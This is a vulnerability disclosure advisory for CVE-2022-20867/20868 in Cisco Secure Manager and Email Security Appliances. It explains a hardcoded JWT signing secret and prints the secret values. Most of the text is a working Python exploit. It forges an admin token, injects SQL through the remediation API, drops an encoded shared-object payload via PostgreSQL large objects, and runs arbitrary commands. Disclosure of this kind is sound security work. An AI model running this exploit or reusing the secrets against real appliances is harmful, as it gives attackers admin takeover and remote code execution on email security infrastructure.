SSD Advisory – Cisco Secure Manager Appliance jwt_api_impl Hardcoded JWT Secret Elevation of Privilege

TL;DR

A vulnerability allows remote attackers to elevate privileges on affected installations of Cisco Secure Manager Appliance and Cisco Email Security Appliance. Authentication is required to exploit this vulnerability.

The specific flaw exists within the jwt_api_impl module. The issue results from the usage of a static secret key to generate JWT tokens. An attacker can leverage this vulnerability to impersonate any user of the target server.

Note: Another vulnerability was published alongside this one. These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit the other vulnerability.  A Low level privileges user can use the combination of the two vulnerabilities to receive full admin privileges on an affected system.

CVE

CVE-2022-20867
CVE-2022-20868

Credit

An independent security researcher has reported this to the SSD Secure Disclosure program.

Technical Analysis

Any request to the new web interface of the appliance is handled by nginx on port 4431 which acts as a reverse proxy to the python back-end.

<img src="./img/img1.png" width="640">

The python server processes the HTTP requests and returns a result. The snippet below showcases the code responsible for processing POST requests to the interface.

def do_POST(self):
    content_len = int(self.headers.getheader('content-length', 0))
    request_body = self.rfile.read(content_len)
    self._validate_and_return_request_handler(http_verb_method=PROCESS_POST, request_body=request_body) # 1

The _validate_and_return_request_handler method is called [1] by the do_POST wrapper and most other wrappers and holds the main logic of the processing.

def _validate_and_return_request_handler(self, http_verb_method, request_body=None):
    global SERVER_SESSION_ID
    self.refresh_token = None
    self.message_digest = None
    is_auth_needed = False
    try:
        parsed_uri = urlparse.urlparse(self.path)
        # ...
        elif not (request_handler_helper.is_url_request_in_list(parsed_uri, OPEN_ACCESS_API_LIST) or hasattr(handler_obj, 'csrf_token_valid') and handler_obj.csrf_token_valid(uri_ctx.subpath, uri_ctx.query) or request_handler_helper.check_url_path_in_request(parsed_uri, LOGIN_API_URL) or self.client_address[0] == LOCALHOST_IP and not is_auth_needed): # 2
            # ...
            elif jwt_constants.JWT_PARAM_JWT_TOKEN in self.headers:
                is_authenticated = self.validate_jwt(uri_ctx) # 3

The method checks [2] if the request is supposed to be authenticated, and uses multiple authentication schemas to try to authenticate the user, among which being JWT [3]. If the jwtToken header is present in the request, the validate_jwt method is called to validate the token.

def validate_jwt(self, uri_ctx):
    input_token = None
    query_email = None
    mid = -1
    user_email = None
    try:
        input_token = request_handler_helper.extract_token(self.headers)
        query_string_data = urlparse.parse_qs(uri_ctx.parsed_uri.query, keep_blank_values=True)
        if query_string_data and 'email' in query_string_data:
            query_email = query_string_data.get('email')
        if USER_EMAIL_HEADER in self.headers:
            user_email = self.headers[USER_EMAIL_HEADER]
        if MID_HEADER in self.headers:
            mid = self.headers[MID_HEADER]
        if input_token:
            token = jwt_util.decode_token(input_token) # 4
            validate_input_fingerprint(uri_ctx.input_fingerprint, token) # 5

The token is decoded [4] via the decode_token method, and the fingerprint is later validated [5] via the validate_input_fingerprint method.

def decode_token(token):
    payload = None
    try:
        payload = jwt.decode(token, login_util.decode(jwt_constants.JWT_SECRET), algorithms=jwt_constants.JWT_ALGORITHM)
    except ExpiredSignatureError:
        raise JwtException(jwt_constants.ERROR_JWT_EXPIRED_SIGNATURE_ERROR, httplib.UNAUTHORIZED)
    except InvalidIssuerError:
        raise JwtException(jwt_constants.ERROR_JWT_INVALID_ISSUER_ERROR, httplib.UNAUTHORIZED)
    except InvalidAudienceError:
        raise JwtException(jwt_constants.ERROR_JWT_INVALID_AUDIENCE_ERROR, httplib.UNAUTHORIZED)
    except InvalidTokenError:
        raise JwtException(jwt_constants.ERROR_JWT_INVALID_TOKEN_ERROR, httplib.UNAUTHORIZED)

    return payload

The decode_token method uses the jwt_constants.JWT_SECRET constant as a secret for the decoding thus any attacker that has knowledge of the secret key may use it to sign arbitrary tokens, and thus impersonate any user.

ERROR_EXPIRY_MUST_BE_INT = 'Expiration Time claim (exp) must be an integer.'
JWT_ALGORITHM = 'HS256'
JWT_SECRET = 'VmxaU1MyTXlWbk5oTTJ4UVZsVmFUMVpyVm5OT2JFNXlVbFJzVVZWVU1Eaz0='
JWT_PARAM_USER_NAME = 'userName'
JWT_PARAM_EXPIRY = 'exp'

The value for JWT_SECRET on Cisco Email Security Appliances is ckswZyVqISlrdG1QRzNoYnAmQyNCbURsIXZGOUVTYntsSlhsJiRKc2RseDV4OTNhPGs/cy9yXWZbT3lE. The validate_input_fingerprint is responsible for extracting the fingerprint from the token and validating it against the server generated fingerprint.

def validate_input_fingerprint(input_fingerprint, token):
    if not token or jwt_constants.JWT_PARAM_COOKIE not in token:
        raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
    if token and jwt_constants.JWT_PARAM_COOKIE in token and input_fingerprint != token[jwt_constants.JWT_PARAM_COOKIE]:
        raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)

The input fingerprint is generated by the code snippet below. Because of the sys_desc and server_session_id fields, this vulnerability not be used for bypassing the authentication of the interface as the stated fields are too unpredictable. However, with prior knowledge of the fields from authenticating as a low-privilege user this requirement is met.

input_fingerprint = jwt_api_impl.get_input_fingerprint({'user_name': self.current_user, 'server_host': self.headers.get('Host'),
    'user_agent': self.headers.get('User-Agent'),
    'sys_desc': request_handler_helper.get_system_description(),
    'accept': self.headers.get(ACCEPT),
    'server_session_id': str(SERVER_SESSION_ID),
    'client_ip': fp_client_ip,
    'email_for_fingerprint': email_for_fingerprint})

Vendor Response

The vendor has issued a patch for the vulnerability as part of its patches released on the 11th of November 2022 for the affected platform – https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD

Exploit

#!/usr/bin/env python3
import jwt
import json
import time
import random
import string
import base64
import urllib3
import datetime
import requests
import argparse

DEVICE_TYPE = 'sma'
JWT_SECRET = 'VmxaU1MyTXlWbk5oTTJ4UVZsVmFUMVpyVm5OT2JFNXlVbFJzVVZWVU1Eaz0='
PG_SYSTEM = [
    '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AwAAAAEAAAAIAAAAAAAAAAAAAAAAAAAATQAAAAQAAAACAAAAAAAAABgEAAAAAAAAGAQAAAAAAABgAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAFcAAAAEAAAAQgAAAAAAAAB4BAAAAAAAAHgEAAAAAAAAeAAAAAAAAAACAAAAFQAAAAgAAAAAAAAAGAAAAAAAAABhAAAAAQAAAAYAAAAAAAAA8AQAAAAAAADwBAAAAAAAABMAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAXAAAAAEAAAAGAAAAAAAAABAFAAAAAAAAEAUAAAAAAAA=',
    'YAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAABnAAAAAQAAAAYAAAAAAAAAcAUAAAAAAABwBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAcAAAAAEAAAAGAAAAAAAAAIAFAAAAAAAAgAUAAAAAAAAEAgAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAHYAAAABAAAABgAAAAAAAACEBwAAAAAAAIQHAAAAAAAADgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAB8AAAAAQAAAAIAAAAAAAAAoAcAAAAAAACgBwAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAACAAAAAAAAAMAHAAAAAAAAwAcAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJIAAAABAAAAAgAAAAAAAAD4BwAAAAAAAPgHAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACcAAAABwAAAAIAAAAAAAAAtAgAAAAAAAC0CAAAAAAAABgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAApgAAAAEAAAADAAAAAAAAANAIIAAAAAAA0AgAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAK0AAAABAAAAAwAAAAAAAADgCCAAAAAAAOAIAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC0AAAABgAAAAMAAAAAAAAA8AggAAAAAADwCAAAAAAAAIABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAawAAAAEAAAADAAAAAAAAAHAKIAAAAAAAcAoAAAAAAAAYAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAL0AAAABAAAAAwAAAAAAAACICiAAAAAAAIgKAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADGAAAAAQAAAAMAAAAAAAAAyAogAAAAAADICgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAzAAAAAgAAAADAAAAAAAAANAKIAAAAAAA0AoAAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANEAAAABAAAAMAAAAAAAAAAAAAAAAAAAANAKAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAADaAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABCwAAAAAAAIAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAgQsAAAAAAACyAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAPUAAAABAAAAAAAAAAAAAAAAAAAAAAAAADMNAAAAAAAAPgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAADAQAAAQAAAAAAAAAAAAAAAAAAAAAAAABxDQAAAAAAABABAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAADwEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAgQ4AAAAAAACgAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAACgPAAAAAAAAeAMAAAAAAAAfAAAAGAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACgEgAAAAAAAN8BAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAfxQAAAAAAAAdAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=='
]


class Exploit:
    def __init__(self, args):
        self.url = args.url
        self.username = args.username
        self.password = args.password
        self.command = args.command
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        self.s = requests.Session()
        self.s.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36',
            'Accept': 'application/json, text/plain, */*'
        }
        self.s.verify = False

    def trigger(self):
        print('[*] Logging in')
        if not self.login():
            print('[-] Exploit failed')
            exit()
        print('[*] Elevating privileges')
        if not self.eop():
            print('[-] Exploit failed')
            exit()
        print('[*] Triggering command execution')
        if not self.rce():
            print('[-] Exploit failed')
            exit()
        print('[*] Cleaning up')
        if not self.cleanup():
            print('[-] Exploit failed')
            exit()
        print('[#] Exploit succeeded')

    def login(self):
        data = {
            'data': {
                'userName': base64.b64encode(self.username.encode('latin-1')).decode('latin-1'),
                'passphrase': base64.b64encode(self.password.encode('latin-1')).decode('latin-1')
            }
        }
        r = self.s.post(self.url + '/' + DEVICE_TYPE +
                        '/api/v2.0/login', data=json.dumps(data))
        if r.status_code != 200:
            return False
        response = json.loads(r.content)
        self.jwt_token = response['data']['jwtToken']
        return True

    def eop(self):
        def encode(s):
            s = base64.b64encode(str(s).encode('latin-1')).decode('latin-1')
            chunks = [s[i:i+76] for i in range(0, len(s), 76)]
            return 'n'.join(chunks)

        def decode(s):
            return base64.b64decode(s.replace('n', '')).decode('latin-1')

        try:
            token = json.loads(base64.b64decode(self.jwt_token.split('.')[1]))
        except:
            try:
                token = json.loads(base64.b64decode(
                    self.jwt_token.split('.')[1] + '='))
            except:
                try:
                    token = json.loads(base64.b64decode(
                        self.jwt_token.split('.')[1] + '=='))
                except:
                    return False
        cookie = decode(token['cookie'])

        server_host = decode(cookie.split('n;')[0])
        client_ip = decode(cookie.split('n;')[1])
        user_agent = decode(cookie.split('n;')[2])
        server_session_id = decode(cookie.split('n;')[3])
        system_description = decode(cookie.split('n;')[4])

        admin_cookie = encode('n;'.join([
            encode(server_host),
            encode(client_ip),
            encode(user_agent),
            encode(server_session_id),
            encode(system_description),
            encode('admin'),
            encode('application/json, text/plain, */*')
        ]) + 'n;') + 'n'

        admin_token = {
            'userName': 'admin',
            'is2FactorCheckRequired': False,
            'cookie': admin_cookie,
            'user': 'NONEUQ',
            'sessionEndTime': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48,
            'exp': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48
        }

        admin_token = jwt.encode(admin_token, base64.b64decode(JWT_SECRET))
        headers = {
            'jwtToken': admin_token
        }
        r = self.s.get(self.url + '/' + DEVICE_TYPE +
                       '/api/v2.0/login/privileges', headers=headers)
        self.jwt_token = admin_token
        return r.status_code == 200

    def rce(self):
        def sqli(query):
            headers = {
                'jwtToken': self.jwt_token
            }
            data = {
                'data': {
                    'batch_id': ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '', 0, 0, 0, 0, 0, 0, 0, 0, 0); ' + query + ' ;-- ',
                    'action': 'delete',
                    'initiated_username': 'x',
                    'batch_name': 'x',
                    'message_details': [
                        {
                            'mid': [1],
                            'from_email': ['x@x.com'],
                            'ip': '192.168.1.1',
                            'subject': 'x',
                            'sent_at': 1,
                            'recipient_email': ['x@x.com']
                        }
                    ]
                }
            }
            self.s.post(self.url + '/' + DEVICE_TYPE + '/api/v2.0/remediation',
                        headers=headers, data=json.dumps(data))
            time.sleep(0.5)

        loid = ''.join(random.choice(string.ascii_letters) for _ in range(8))
        shell_path = '/tmp/' + 
            ''.join(random.choice(string.ascii_letters)
                    for _ in range(8)) + '.so'

        sqli('SELECT lo_create(0) INTO ' + loid)
        for i in range(len(PG_SYSTEM)):
            sqli('INSERT INTO pg_largeobject (loid, pageno, data) VALUES ((SELECT * FROM ' +
                 loid + '), ' + str(i) + ', (DECODE('' + PG_SYSTEM[i] + '', 'base64')))')
        sqli('SELECT lo_export((SELECT * FROM ' + loid + '), '' + shell_path + '')')
        sqli('SELECT lo_unlink((SELECT * FROM ' + loid + '))')
        sqli('DROP TABLE ' + loid)
        time.sleep(5)
        sqli('CREATE OR REPLACE FUNCTION pg_system(TEXT) RETURNS INTEGER AS '' +
             shell_path + '','pg_system' LANGUAGE C STRICT')
        sqli('SELECT pg_system('' + self.command + '')')
        return True

    def cleanup(self):
        return True


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', help='Target URL', required=True)
    parser.add_argument(
        '--username', help='Username of low privilege user', required=True)
    parser.add_argument(
        '--password', help='Password of low privilege user', required=True)
